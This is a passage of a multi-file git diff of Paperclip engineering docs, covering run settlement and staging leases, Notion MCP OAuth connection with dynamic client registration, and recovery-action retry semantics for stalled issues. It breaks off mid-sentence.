|
||||
## The settlement order
|
||||
|
||||
The settlement sequence is the one live cleanup owner for every settled path. It
|
||||
claims the ledger once, makes the pure reuse decision, then runs the ordered
|
||||
steps:
|
||||
|
||||
1. `end_session` — close every runtime the reuse decision did not transfer, and
|
||||
drop the warm entry when it closes.
|
||||
2. `settle_reuse` — perform the decision. A save transfers the reuse candidate to
|
||||
the site store; every other case discards it.
|
||||
3. `stop_transport` — stop both bridges in one settled batch.
|
||||
4. `sync_back` — run the site sync-back (the managed-home copy-back).
|
||||
5. `release_staging_lease` — release the staging lease last (see below).
|
||||
|
||||
An error policy governs every step: a step records its error, and the later steps
|
||||
still run. Every step is a no-op on an empty resource slot.
|
||||
|
||||
The reuse decision is pure and runs before any close. A save is eligible only when
|
||||
a candidate exists, the settlement cause permits a save, and no run-scoped
|
||||
credential that the candidate would carry into the store remains valid.
|
||||
|
||||
## The server-owned staging lease outer context
|
||||
|
||||
The staging lease is a per-session lease. Only one run of a session may stage into
|
||||
the same remote workspace at a time. A second run of the same session waits on the
|
||||
lease until the first run releases it.
|
||||
|
||||
The lease releases as the run's final act, after the coordinator settles every
|
||||
other resource AND reproduces the result. This ordering keeps a same-session
|
||||
second run blocked on the lease until the first run fully returns, so the second
|
||||
run never re-stages into a workspace the first run still uses. The release runs in
|
||||
a `finally`, so an earlier teardown fault never strands the lease.
|
||||
|
||||
## Per-phase telemetry
|
||||
|
||||
The run emits one telemetry event per named lifecycle phase. Each event carries
|
||||
only the phase name, the wall-time duration, and the outcome (`ok` or `failed`).
|
||||
The phase name is one member of a closed allowlist. An event never carries a
|
||||
command, an argument, a path, an environment value, or a raw identifier. A
|
||||
telemetry failure never fails the run.
|
||||
|
||||
## Known limitations and deferred work
|
||||
|
||||
- **Host-lane runtime reuse is disabled.** A run-minted API key is a stateless
|
||||
token that the control plane never revokes on run end. A warm host runtime would
|
||||
carry a still-valid credential into the next run. The host lane therefore closes
|
||||
and relaunches on every run, rather than keeping the runtime warm, until a
|
||||
run-scoped credential rebind protocol exists.
|
||||
- **The sandbox staged-files reuse stays enabled.** Its reuse payload carries no
|
||||
credential, so a compatible resume reuses the already-staged runtime.
|
||||
- **The per-phase telemetry is observability-only.** It records the duration and
|
||||
the outcome of each phase; it does not change run control flow.
|
||||
@@ -183,6 +183,114 @@ Recommended defaults for a new catalog entry:
|
||||
|
||||
If a gallery card cannot pass this path against a real vendor, de-list it or mark it unavailable until the missing auth, transport, or governance dependency is fixed.
|
||||
|
||||
## MCP-Direct Connections (Hosted MCP + OAuth)
|
||||
|
||||
Many vendors now expose an official hosted MCP server whose authorization
|
||||
server is discovered from the MCP endpoint itself, instead of documenting fixed
|
||||
OAuth URLs. For these connectors the manifest's `oauth` block is a hint at
|
||||
most; the broker resolves endpoints at connect time:
|
||||
|
||||
1. `GET <serverUrl>` unauthenticated returns `401` with a `WWW-Authenticate`
|
||||
header naming the protected-resource metadata URL (RFC 9728).
|
||||
2. `GET /.well-known/oauth-protected-resource[/<path>]` names the
|
||||
authorization server(s).
|
||||
3. `GET /.well-known/oauth-authorization-server` (RFC 8414) yields
|
||||
`authorization_endpoint`, `token_endpoint`, and — when the vendor supports
|
||||
dynamic registration — `registration_endpoint`.
|
||||
|
||||
The broker implements this in `discoverOAuthEndpoints`
|
||||
(`server/src/services/tool-access.ts`), but discovery is **not**
|
||||
unconditional. `oauthEndpointsForConnection` resolves endpoints in this
|
||||
order:
|
||||
|
||||
1. If the manifest's method `defaults` ship a **complete** pair
|
||||
(`authorizationEndpoint` **and** `tokenEndpoint`), those are used
|
||||
unconditionally. `discoverOAuthEndpoints` never runs in this case, so
|
||||
endpoints stored on the connection's own OAuth config and 401 challenge
|
||||
hints are **not consulted at all**.
|
||||
2. Otherwise, for `mcp_remote` connections, the broker calls
|
||||
`discoverOAuthEndpoints`, which first checks endpoints already stored on
|
||||
the connection's own OAuth config (falling back field-by-field to the 401
|
||||
challenge hints); a complete stored/hinted pair is used as-is — no
|
||||
`.well-known` fetch.
|
||||
3. Only when neither of the above yields a complete pair does the broker run
|
||||
the RFC 9728 → RFC 8414 discovery chain above.
|
||||
|
||||
Consequence: complete manifest endpoint hints are **authoritative, not
|
||||
hints** — they override even endpoints that an earlier discovery persisted
|
||||
on the connection, and if they go stale the broker keeps using them. For
|
||||
discovery-capable vendors, ship only `serverUrl` in `defaults` (as
|
||||
`notion.json` does) so the broker discovers fresh endpoints at connect
|
||||
time; add explicit `authorizationEndpoint`/`tokenEndpoint` only for vendors
|
||||
that do not publish RFC 9728/8414 metadata, and then own keeping them
|
||||
current.
|
||||
|
||||
### Dynamic client registration (RFC 7591)
|
||||
|
||||
Vendors whose authorization server advertises a `registration_endpoint` and
|
||||
supports public clients (`token_endpoint_auth_method: "none"` plus PKCE S256)
|
||||
need **no pre-provisioned OAuth app at all**. At first connect the broker
|
||||
registers a client on the fly and stores it on the connection:
|
||||
|
||||
- Registration request: `client_name` `Paperclip (<instance host>)`,
|
||||
`redirect_uris` = the instance's own callback, `grant_types`
|
||||
`["authorization_code", "refresh_token"]`, `response_types` `["code"]`,
|
||||
`token_endpoint_auth_method` `"none"`.
|
||||
- The issued `client_id` is persisted in the connection's OAuth config and any
|
||||
issued `client_secret` becomes a `company_secrets` ref. The registered
|
||||
client is **reused** for every later authorize/refresh on that connection —
|
||||
re-registering orphans prior grants on providers that bind grants to the
|
||||
client.
|
||||
- Env-registered clients always win: when
|
||||
`PAPERCLIP_TOOL_OAUTH_<PROVIDER>_CLIENT_ID/_SECRET` are configured, the
|
||||
broker uses them (`customer` ownership) and skips registration. List both
|
||||
`customer` and `dcr` in the method's `ownershipModes` when the vendor
|
||||
supports both.
|
||||
|
||||
**DCR needs neither Paperclip ID nor Paperclip Connect.** DCR is always
|
||||
instance-local (ratified in the PAP-14828 connector-service spec, section 10
|
||||
item 8.4: "DCR is always instance-local; the service has no DCR involvement").
|
||||
Each instance registers its own public client with the vendor and uses its own
|
||||
`/api/tools/oauth/callback` redirect. **Cloud-hosted and self-hosted instances
|
||||
use the SAME path** — the only per-instance difference is the hostname inside
|
||||
the redirect URI. `id.paperclip.ing` authenticates operators only and never
|
||||
holds resource tokens; `connect.paperclip.ing` is a fallback only for
|
||||
providers that genuinely require a pre-registered public redirect, which a DCR
|
||||
provider by definition does not.
|
||||
|
||||
### Redirect-URI constraints
|
||||
|
||||
Vendors restrict what `redirect_uris` a dynamic client may register. Record
|
||||
the probed constraint in the `AppDefinition` `redirectConstraints` field and
|
||||
enforce it before starting OAuth. The first supported value is
|
||||
`https-or-loopback-http` (Notion's rule): HTTPS on any host — public or
|
||||
private — or plain HTTP only on loopback (`localhost`, `*.localhost`, `::1`,
|
||||
`127.0.0.0/8`). A plain-HTTP non-loopback origin fails fast with
|
||||
`oauth_redirect_origin_unsupported` ("This provider requires an HTTPS or
|
||||
loopback origin. Configure TLS before connecting.") and a pointer to the TLS
|
||||
deployment docs, instead of a confusing vendor-side `invalid_redirect_uri`.
|
||||
Probe the constraint with real registration attempts before writing the
|
||||
manifest — the redirect-URI rule and browser-reachability are independent
|
||||
axes; a private HTTPS host can be fine even when plain HTTP is not.
|
||||
|
||||
### Documentation standards for every connection doc
|
||||
|
||||
Every connection doc — playbook appendix, proposal, or user-facing doc —
|
||||
must include all three of the following (they are part of the template below):
|
||||
|
||||
1. **Service involvement statement.** Say explicitly whether Paperclip ID or
|
||||
Paperclip Connect participates in the flow. For RFC 7591 DCR providers the
|
||||
answer is always: neither — DCR is instance-local and cloud vs self-hosted
|
||||
use the same path.
|
||||
2. **Sequence diagram + exact endpoints.** A sequence diagram of how the
|
||||
connection works, and the exact paths/endpoints used for auth: authorize,
|
||||
token, registration (if DCR), and the Paperclip callback. Keep mermaid
|
||||
sources next to the doc; do not put semicolons inside mermaid message text
|
||||
(they parse as statement separators).
|
||||
3. **Administrator setup instructions.** Step-by-step: what (if anything) an
|
||||
admin must register — callback URLs? client credentials? nothing, for DCR? —
|
||||
where to register it, and how to verify the connection works end to end.
|
||||
|
||||
## Template
|
||||
|
||||
Copy this section into a connector proposal or implementation issue.
|
||||
@@ -208,6 +316,25 @@ Copy this section into a connector proposal or implementation issue.
|
||||
- Secret storage: company_secrets refs only
|
||||
- Revocation behavior:
|
||||
|
||||
## Connection Flow (mandatory)
|
||||
|
||||
- Sequence diagram: <mermaid source or rendered image — REQUIRED for every connection doc>
|
||||
- Auth endpoints (exact paths):
|
||||
- Authorize:
|
||||
- Token:
|
||||
- Registration (if DCR):
|
||||
- Discovery (.well-known), if any:
|
||||
- Paperclip callback: `/api/tools/oauth/callback` (or n/a)
|
||||
- Redirect constraints (probed): none / https-or-loopback-http / requires-public-redirect
|
||||
- Paperclip ID / Paperclip Connect involvement: <"none — DCR is instance-local; cloud and self-hosted use the same path" for RFC 7591 providers; otherwise name the role>
|
||||
|
||||
## Administrator Setup (mandatory)
|
||||
|
||||
- What the admin must register (callback URLs? client credentials? nothing for DCR?):
|
||||
- Where to register it:
|
||||
- Instance prerequisites (TLS, base URL, feature flags):
|
||||
- How to verify the connection works:
|
||||
|
||||
## Resource Filters
|
||||
|
||||
- Required filters:
|
||||
@@ -363,3 +490,264 @@ Linear's real-vendor evidence belongs in [PAP-12373](/PAP/issues/PAP-12373). The
|
||||
|
||||
Connector proposals now target the versioned `AppDefinition` contract in `packages/shared/src/types/app-definition.ts`. Seed data is one JSON file per provider under `packages/shared/src/app-definitions/`; regenerate Wave 1 with `pnpm connections:ingest-app-definitions`. The generator parses all 99 captured templates, validates required placeholders, OAuth ownership modes, and API-key placement, and produces deterministic output for review. FIRST-30 remains authoritative for `riskTier` and `requiredResourceFilters`; managed ownership modes stay data-visible but runtime-hidden until availability is injected.
|
||||
|
||||
## Appendix: Notion Dry Run (MCP-Direct With DCR)
|
||||
|
||||
This dry run applies the template to Notion, the first MCP-direct connector to
|
||||
ship with RFC 7591 dynamic client registration (PAP-16637; server
|
||||
implementation PAP-16649, PR #11009). Unlike the Linear appendix, every
|
||||
endpoint and constraint below comes from a live request log, not vendor docs
|
||||
alone.
|
||||
|
||||
### Vendor
|
||||
|
||||
- App key: `notion`
|
||||
- App name: Notion
|
||||
- First-30 classification: MCP-direct. Notion ships an official hosted MCP
|
||||
server; its ~20 `notion-*` tools map directly to Paperclip grants.
|
||||
- Reason for classification: no shim or wrapper needed — the hosted server
|
||||
speaks Streamable HTTP, which `server/src/services/mcp-http.ts` already
|
||||
handles. The FIRST-30 matrix's "thin wrapper for block/database policy" is
|
||||
explicitly deferred; v1 enforcement is gateway policy plus filters-as-config.
|
||||
- Security tier: S3 — workspace content read/write, but no payments, tenant
|
||||
admin, or production infrastructure.
|
||||
- Plugin needed: No. Gallery card, OAuth connect, filters, catalog, profiles,
|
||||
policies, and audit cover the UX.
|
||||
|
||||
### Transport And Auth
|
||||
|
||||
- Transport: `mcp_remote`
|
||||
- Endpoint: `https://mcp.notion.com/mcp` (Streamable HTTP; `/sse` fallback exists)
|
||||
- Auth mode: OAuth, endpoints resolved by discovery (RFC 9728 → RFC 8414),
|
||||
public client via RFC 7591 DCR with PKCE S256 mandatory. Discovery runs
|
||||
because `notion.json` deliberately ships only `serverUrl` — no
|
||||
`authorizationEndpoint`/`tokenEndpoint` hints, which would otherwise take
|
||||
precedence and be used verbatim (see "MCP-Direct Connections" above).
|
||||
- Ownership modes: `dcr` (default, zero setup) and `customer`
|
||||
(env-registered classic integration via
|
||||
`PAPERCLIP_TOOL_OAUTH_NOTION_CLIENT_ID/_SECRET`, which always wins when set).
|
||||
- Token behavior: access tokens last ~8 h (`expires_in` authoritative).
|
||||
Refresh tokens **rotate on every refresh** — the old token is invalidated
|
||||
(at most 2 valid per grant) and replaying a stale one can revoke the whole
|
||||
grant, so the broker persists the rotated token before publishing the new
|
||||
access token and serializes refresh per connection. Absolute expiry 180
|
||||
days, inactivity expiry 30 days. `invalid_grant` on refresh is terminal:
|
||||
clear tokens, require re-auth, never retry.
|
||||
- Secret storage: access/refresh tokens and any DCR `client_secret` are
|
||||
`company_secrets` refs; the DCR `client_id` persists on the connection and
|
||||
is reused — re-registering would orphan prior grants.
|
||||
- Revocation behavior: disabling or revoking the connection removes
|
||||
`notion-*` tools from agent sessions and denies brokered execution on the
|
||||
next gateway check.
|
||||
|
||||
### Connection Flow (mandatory)
|
||||
|
||||
Paperclip ID / Paperclip Connect involvement: **none — DCR is instance-local**
|
||||
(PAP-14828 spec section 10 item 8.4); **cloud-hosted and self-hosted use the
|
||||
same path**. The only per-instance difference is the hostname in the redirect
|
||||
URI.
|
||||
|
||||
Auth endpoints (exact paths, from the live discovery chain):
|
||||
|
||||
| Role | Endpoint |
|
||||
| --- | --- |
|
||||
| MCP server | `https://mcp.notion.com/mcp` |
|
||||
| Protected-resource metadata (RFC 9728) | `https://mcp.notion.com/.well-known/oauth-protected-resource/mcp` |
|
||||
| AS metadata (RFC 8414) | `https://mcp.notion.com/.well-known/oauth-authorization-server` |
|
||||
| Authorize | `https://mcp.notion.com/authorize` |
|
||||
| Token (exchange + refresh) | `https://mcp.notion.com/token` |
|
||||
| Registration (RFC 7591 DCR) | `https://mcp.notion.com/register` |
|
||||
| Paperclip connect (wizard) | `POST /api/companies/:companyId/tools/apps/connect` |
|
||||
| Paperclip OAuth start | `POST /api/tools/oauth/:connectionId/start` |
|
||||
| Paperclip callback | `GET /api/tools/oauth/callback` |
|
||||
|
||||
Redirect constraints (probed): `https-or-loopback-http`.
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
actor U as User's browser
|
||||
participant UI as Paperclip UI<br/>/PAP/apps/connect?source=notion
|
||||
participant S as Paperclip instance server<br/>(cloud or self-hosted — same path)
|
||||
participant M as mcp.notion.com<br/>(MCP server + OAuth AS)
|
||||
participant N as Notion web<br/>(app.notion.com, notion.com)
|
||||
|
||||
U->>UI: Click "Connect" (deep link ?source=notion)
|
||||
UI->>S: POST /companies/:id/tools/apps/connect { appKey: "notion" }
|
||||
S->>M: GET /.well-known/oauth-protected-resource (RFC 9728)
|
||||
M-->>S: authorization_servers → mcp.notion.com
|
||||
S->>M: GET /.well-known/oauth-authorization-server (RFC 8414)
|
||||
M-->>S: authorize / token / registration endpoints
|
||||
alt First connect on this instance (no stored client, no env client)
|
||||
S->>M: POST registration_endpoint (RFC 7591 DCR, public client, PKCE-only)
|
||||
M-->>S: client_id (persisted, REUSED for every later connect)
|
||||
else Client already known
|
||||
S->>S: Reuse stored DCR client_id (or env-registered client if configured)
|
||||
end
|
||||
S-->>UI: auth.startUrl (authorize URL + PKCE S256 challenge + state)
|
||||
UI->>U: Redirect browser to startUrl
|
||||
U->>M: GET /authorize?client_id + code_challenge + state
|
||||
M->>N: 302 to app.notion.com/install-integration
|
||||
N->>N: notion.com/login (only if signed out)
|
||||
N-->>U: Consent page: pick workspace, approve integration
|
||||
U->>S: 302 to GET /api/tools/oauth/callback?code&state (instance's OWN callback)
|
||||
S->>M: POST token_endpoint (code + code_verifier)
|
||||
M-->>S: access_token (~8 h) + rotating refresh_token
|
||||
S->>S: Store tokens as company_secrets refs (server-side only)
|
||||
S-->>U: Redirect to wizard actions/review step (?oauth=connected)
|
||||
Note over S,M: Later: agent runs reach notion-* tools via the managed MCP gateway.<br/>Server refreshes ahead of use — each refresh ROTATES the refresh token.
|
||||
```
|
||||
|
||||
### Dry-Run Request Log (PAP-16649, 2026-08-06/07)
|
||||
|
||||
The verified request sequence for a first connect:
|
||||
|
||||
1. `GET https://mcp.notion.com/mcp` → `401` with `WWW-Authenticate` naming
|
||||
`https://mcp.notion.com/.well-known/oauth-protected-resource/mcp`.
|
||||
2. `GET https://mcp.notion.com/.well-known/oauth-protected-resource/mcp` →
|
||||
`200`; authorization server `https://mcp.notion.com`, scope `default`.
|
||||
3. `GET https://mcp.notion.com/.well-known/oauth-authorization-server` →
|
||||
`200`; `/authorize`, `/token`, `/register`; `token_endpoint_auth_method`
|
||||
`none` supported; PKCE `S256` supported.
|
||||
4. `POST https://mcp.notion.com/register` (RFC 7591).
|
||||
5. Browser `GET https://mcp.notion.com/authorize` → Notion consent
|
||||
(`app.notion.com/install-integration`, `notion.com/login` if signed out).
|
||||
6. `POST https://mcp.notion.com/token` for code exchange and every refresh.
|
||||
7. `POST https://mcp.notion.com/mcp` for MCP traffic.
|
||||
|
||||
Redirect-URI probes against `/register`:
|
||||
|
||||
| Probed `redirect_uris` value | Result |
|
||||
| --- | --- |
|
||||
| `http://paperclip-dev:3100/api/tools/oauth/callback` | 400 `invalid_redirect_uri` — "Redirect URI must use HTTPS unless it is a loopback HTTP URI" |
|
||||
| `https://paperclip-dev:3100/api/tools/oauth/callback` | Accepted — private host is fine over HTTPS |
|
||||
| `http://localhost:3100/api/tools/oauth/callback` | Accepted |
|
||||
| `http://127.0.0.1:3100/api/tools/oauth/callback` | Accepted |
|
||||
|
||||
Hence `redirectConstraints: "https-or-loopback-http"` in `notion.json`, and
|
||||
the broker's fail-fast `oauth_redirect_origin_unsupported` error for
|
||||
plain-HTTP non-loopback origins.
|
||||
|
||||
### Administrator Setup (mandatory)
|
||||
|
||||
- What the admin must register: **nothing**. Notion's authorization server
|
||||
supports RFC 7591 DCR, so the instance registers its own public client on
|
||||
first connect. No Notion integration, no client credentials, no callback
|
||||
registration, no Paperclip ID or Paperclip Connect involvement.
|
||||
- Optional escape hatch: to use a pre-registered classic Notion integration
|
||||
instead, set `PAPERCLIP_TOOL_OAUTH_NOTION_CLIENT_ID` and
|
||||
`PAPERCLIP_TOOL_OAUTH_NOTION_CLIENT_SECRET`; the env client always takes
|
||||
precedence (`customer` ownership).
|
||||
- Instance prerequisites: the instance base URL must be HTTPS on any host or
|
||||
loopback HTTP (Notion's redirect-URI rule). A plain-HTTP non-loopback origin
|
||||
gets "This provider requires an HTTPS or loopback origin. Configure TLS
|
||||
before connecting." — add TLS first (e.g. a tailscale cert, as
|
||||
paperclip-dev did). The `enableApps` experimental setting must be on for
|
||||
`/apps/*` routes. The connecting user must be allowed to install
|
||||
integrations in their Notion workspace.
|
||||
- How to verify: visit `/PAP/apps/connect?source=notion`, complete the Notion
|
||||
consent flow, and land on the wizard's actions step listing `notion-*`
|
||||
tools. Then confirm an agent run sees Notion tools through the runtime MCP
|
||||
gateway and that a write call (e.g. `notion-create-pages`) opens an
|
||||
ask-first action request.
|
||||
|
||||
### Resource Filters
|
||||
|
||||
- Required filters: workspace, page, database (per FIRST-30).
|
||||
- Optional filters: object type, database/data-source scope.
|
||||
- Write-enabling filters: workspace plus page/database scope for
|
||||
create/update.
|
||||
- Enforced by: gateway policy plus filters-as-config in v1; the FIRST-30
|
||||
"thin wrapper for block/database policy" is explicitly deferred. Notion-side
|
||||
scoping also applies — the consent step lets the user share only selected
|
||||
pages/databases with the integration.
|
||||
|
||||
### Manifest Sketch
|
||||
|
||||
The shipped `packages/shared/src/app-definitions/notion.json` (regenerate via
|
||||
`pnpm connections:ingest-app-definitions`):
|
||||
|
||||
```json
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"slug": "notion",
|
||||
"name": "Notion",
|
||||
"description": "Read and update pages in your Notion workspace.",
|
||||
"urlPatterns": ["https://mcp.notion.com/*"],
|
||||
"methods": [
|
||||
{
|
||||
"key": "mcp-oauth",
|
||||
"transport": "mcp_remote",
|
||||
"auth": "oauth",
|
||||
"ownershipModes": ["customer", "dcr"],
|
||||
"defaults": { "serverUrl": "https://mcp.notion.com/mcp" },
|
||||
"riskTier": "S3",
|
||||
"requiredResourceFilters": ["workspace", "page", "database"]
|
||||
}
|
||||
],
|
||||
"redirectConstraints": "https-or-loopback-http"
|
||||
}
|
||||
```
|
||||
|
||||
### Actions
|
||||
|
||||
Notion's hosted server exposes ~20 `notion-*` tools. Representative risk
|
||||
classes below; the full catalog review with per-tool defaults is PAP-16652
|
||||
(P4), and changed-action quarantine applies as usual.
|
||||
|
||||
| Tool | Risk | Default status | Filters | Approval default | Audit fields | Negative case |
|
||||
| --- | --- | --- | --- | --- | --- | --- |
|
||||
| `notion-search` | read | active after catalog review; plan-gated by Notion (needs Notion AI) — may list but fail at call time | workspace | allow when profile includes Notion reads | query summary, result count | Ungranted agent cannot invoke. |
|
||||
| `notion-fetch` | read | active after catalog review | workspace, page, database | allow when profile includes Notion reads | page/database id | Fetch outside shared pages fails Notion-side and is audited. |
|
||||
| `notion-create-pages` | write | active only after review; changed versions quarantined | workspace, page, database | ask-first by default | parent id, title hash, created page id | Missing workspace/page filter denies. |
|
||||
| `notion-update-page` | write | active only after review; changed versions quarantined | workspace, page | ask-first by default | page id, redaction summary | Revoked connection blocks retry. |
|
||||
| `notion-query-data-sources` | read | active after catalog review | workspace, database | allow when profile includes Notion reads | data-source id, result count | Granted agent cannot query a disallowed database. |
|
||||
|
||||
No destructive Notion action ships in the first pass; any future
|
||||
delete/archive/bulk action starts quarantined pending SecurityEngineer review.
|
||||
|
||||
### Wizard Path
|
||||
|
||||
1. Operator opens `/PAP/apps/connect?source=notion` (or the Notion gallery
|
||||
card → Connect). The deep link POSTs connect immediately and redirects the
|
||||
browser to `auth.startUrl`.
|
||||
2. Operator completes Notion consent (workspace picker → approve).
|
||||
3. Notion redirects to the instance's own `GET /api/tools/oauth/callback`;
|
||||
Paperclip exchanges the code, stores token material in `company_secrets`,
|
||||
and returns the operator to the wizard (`?oauth=connected`).
|
||||
4. Operator confirms resource filters and default ask-first writes.
|
||||
5. Paperclip runs health check and catalog refresh; `notion-*` tools appear
|
||||
on the actions step.
|
||||
6. Write actions stay ask-first until the operator approves calls or creates
|
||||
narrow trust rules.
|
||||
|
||||
Error state: on a plain-HTTP non-loopback instance, step 1 fails fast with
|
||||
the TLS guidance error above — the operator never reaches Notion.
|
||||
|
||||
### Governance Defaults
|
||||
|
||||
- Default profile: Notion read actions for the selected scope; writes opt-in.
|
||||
- Policy defaults: ask-first for `notion-create-pages`, `notion-update-page`,
|
||||
and comment writes; block any unreviewed destructive action.
|
||||
- Quarantine: new or schema-changed write actions receive
|
||||
`quarantineReason: "pending_review"` and are hidden from agent tool lists.
|
||||
- Rate limits: per-connection search/fetch budget to protect vendor quota.
|
||||
- Audit: log connect, DCR registration, config/filter changes, grant changes,
|
||||
action requests, allowed/denied calls, token refresh failures, revoke, and
|
||||
catalog quarantine events.
|
||||
|
||||
### Validation Hook
|
||||
|
||||
End-to-end evidence belongs to PAP-16654 (P6) and the PAP-12373 matrix:
|
||||
|
||||
- Zero-setup OAuth connect succeeds on
|
||||
`https://paperclip-dev.tail29c1aa.ts.net/PAP/apps/connect?source=notion`
|
||||
with no pre-provisioned OAuth env vars (proves DCR).
|
||||
- Catalog discovery lists `notion-*` tools; new/changed risky actions are
|
||||
quarantined.
|
||||
- An agent run sees Notion tools through the managed runtime MCP gateway.
|
||||
- `notion-create-pages` opens ask-first review and executes only after
|
||||
approval.
|
||||
- Revocation removes Notion tools and blocks execution.
|
||||
- Audit rows prove actor, run/issue context, connection, tool, decision,
|
||||
reason code, and outcome.
|
||||
|
||||
@@ -44,7 +44,7 @@ Hold every session to these five, regardless of size:
|
||||
## Reviewing like a designer
|
||||
|
||||
- **Contact sheet**: the diff images under `tests/storybook-visual/test-results/` are your primary review surface; ask the agent to assemble them into a browsable before/after page (or use `npx playwright show-report` from `tests/storybook-visual/`).
|
||||
- **Live test drive**: for big changes, ask for a running instance from the worktree — `pnpm paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
|
||||
- **Live test drive**: for big changes, ask for a running instance from the worktree — `npx paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
|
||||
- **Side-by-side Storybook**: old on one port, new on another (`pnpm storybook` in each checkout), flip tabs.
|
||||
- Trust your eyes over the agent's summary. If something looks wrong, say so plainly ("the text in the red boxes is illegible") — vague feedback is fine, the screenshots give the agent the precision.
|
||||
|
||||
|
||||
+50
-13
@@ -1,7 +1,7 @@
|
||||
# Execution Semantics
|
||||
|
||||
Status: Current implementation guide
|
||||
Date: 2026-07-23
|
||||
Date: 2026-08-18
|
||||
Audience: Product and engineering
|
||||
|
||||
This document explains how Paperclip interprets issue assignment, issue status, execution runs, wakeups, parent/sub-issue structure, and blocker relationships.
|
||||
@@ -152,6 +152,8 @@ Pre-dispatch configuration validation is a distinct gate that runs after ownersh
|
||||
|
||||
A configuration-incomplete result is a gate outcome, not a runtime failure. It is one of the active gates that a checkout-time or dispatch-time check can surface instead of starting a run, and it leaves the issue in an explicit waiting state that names the missing binding. Surfacing the blocker keeps the issue healthy under the liveness contract while preventing a run that is guaranteed to fail once it cannot resolve its required secret/env bindings. A dispatched-then-failed run is the wrong shape for missing configuration: the missing binding is a known pre-dispatch condition, so the control plane must surface it as a configuration-incomplete blocker rather than letting the run start and then fail.
|
||||
|
||||
An unresolved workspace base ref is another configuration-incomplete condition. A `git_worktree` workspace bases a fresh worktree on a configured base ref. Paperclip first fetches a remote-only ref before dispatch: it maps an unqualified name (for example `fix/foo`) or a remote-tracking name (for example `origin/fix/foo`) to `origin/<branch>`, runs the authenticated fetch, and re-checks the commit. A ref that resolves lets work continue on the resolved commit. A ref that is still unresolvable after the fetch produces a configuration-incomplete blocker that names the requested ref, rather than a dispatched-then-failed run. Because the adapter never started, Paperclip queues no missing-comment retry. The recovery action dedupes by the canonical remote ref (`origin/<branch>`), not the operator spelling. Two equivalent spellings of one remote branch, for example `fix/foo` and `origin/fix/foo`, share one recovery identity, so a repeated failure reuses the active action and does not reset the attempt count or post a second notice. A different remote branch is a distinct blocker. Paperclip resolves the prior recovery action, creates a new action for the new ref, and notifies the operator with the new ref instead of overwriting the active action of the prior ref.
|
||||
|
||||
## 6. Parent/Sub-Issue vs Blockers
|
||||
|
||||
Paperclip uses two different relationships for different jobs.
|
||||
@@ -389,6 +391,8 @@ A valid recovery action must name:
|
||||
|
||||
A source-scoped recovery action is the default form. Use it when the next safe move is to repair the source issue's liveness directly: move the source issue back to `todo` so it can be retried, clarify disposition, re-establish a monitor, record a false positive, or delegate real follow-up work from the source issue.
|
||||
|
||||
Recovery-action ownership and source-task ownership are separate contracts. Assigning a manager or board owner to a recovery action authorizes that owner to repair or route the recovery action; it does not write that owner into the source issue's `assigneeAgentId`. Automatic retry and escalation preserve the source assignee. Reassignment requires an explicit source-task decision or a policy-defined serious-failure path, with the normal company, authorization, budget, checkout, active-run-lock, governed-action, and activity-log checks.
|
||||
|
||||
Use an issue-backed recovery action only when the recovery is genuinely independent work or when source-scoped handling would be unsafe or unclear. Examples include:
|
||||
|
||||
- long or cross-agent repair work with its own assignee, subtasks, or blockers
|
||||
@@ -549,7 +553,13 @@ A continuation that the staleness gate cancelled with `issue_continuation_waitin
|
||||
Recovery rule for a parked-for-review continuation:
|
||||
|
||||
- if the issue has a real waiting target — open (non-terminal) sub-tasks or existing unresolved blockers — Paperclip converts the deliberate wait into a first-class dependency wait: it sets the issue `blocked` by those issues, keeps the original assignee, and posts a plain-language comment explaining that the task will resume automatically when its dependencies finish. The issue then self-resumes through the normal `issue_blockers_resolved` path; no recovery action or escalation owner is involved
|
||||
- if the issue has no waiting target, the park is indistinguishable from a genuine strand and falls through to the standard §9.2 escalation, preserving stranded detection
|
||||
- if the issue has no current typed waiting target and the original owner is invokable, Paperclip classifies it as `deliberate_wait_without_target` and gives that owner five normal-model disposition-repair attempts: immediate, then after 60, 120, 240, and 480 seconds, with up to 10 percent jitter on delayed attempts
|
||||
- before every attempt, Paperclip revalidates unresolved blockers and children, interactions, linked approvals, monitors, execution stages, queued wakes, active runs, work products, owner invokability, and budget or governance gates. Any real live or waiting path suppresses the retry
|
||||
- the retry bound is keyed by an idempotent durable source-state fingerprint. Comments, repeated parked summaries, and equivalent prose do not reset it. Durable changes such as source status or assignee changes, dependency or interaction changes, approval or execution-policy changes, monitor changes, or work-product changes may create a new fingerprint
|
||||
- on upgrade, consecutive historical `issue_continuation_waiting_on_review` cancellations for the same accepted interaction and still-unchanged durable source state seed this same counter. Five applicable pre-upgrade parks therefore exhaust the ceiling immediately; the absence of a historical `deliberate_wait_without_target` recovery-action row does not grant five new attempts
|
||||
- the action persists the unchanged fingerprint, source-attempt count, due time, source owner, and return owner. Startup and periodic reconciliation reuse that state, fold the action when a current typed wait appears, and reschedule or escalate an expired attempt that has no live scheduled run. Idempotency keys prevent a restart from creating duplicate wakes or scheduled runs
|
||||
- after five attempts with the same fingerprint, Paperclip opens one separate source-scoped manager recovery action. The manager owns only path repair; the source assignee remains unchanged. The manager gets five separate attempts on the same immediate, 60, 120, 240, and 480 second bounded-delay schedule before exhaustion escalates visibly to the board
|
||||
- a recovery action is a healthy wait only while its owner has a live run, queued wake, scheduled retry, typed wait, or explicit board escalation. Source liveness and every blocker-chain projection use that same nested result
|
||||
|
||||
An accepted interaction supersedes a continuation park recorded before that acceptance. A queued continuation carrying a parseable `interactionResolvedAt` must not be cancelled solely because an older continuation summary says to wait for review or approval. Interaction-continuation recovery is bounded: after three consecutive continuation wakes are cancelled without a run starting, recovery converts a real dependency wait when one exists or escalates the missing execution path visibly instead of requeueing forever.
|
||||
|
||||
@@ -575,6 +585,28 @@ On startup and on the periodic recovery loop, Paperclip now does five things in
|
||||
|
||||
The stranded-work pass closes the gap where issue state survives a crash but the wake/run path does not. The silent-run scan covers the separate case where a live process exists but has stopped producing observable output. The productivity-review pass is later and separate; it reviews unusual progression patterns on assigned source issues, not stale run handles after a source issue already has a valid disposition.
|
||||
|
||||
### Issue-thread interaction resolution
|
||||
|
||||
Every issue-thread interaction kind inherits resolver policy `anyone` when the
|
||||
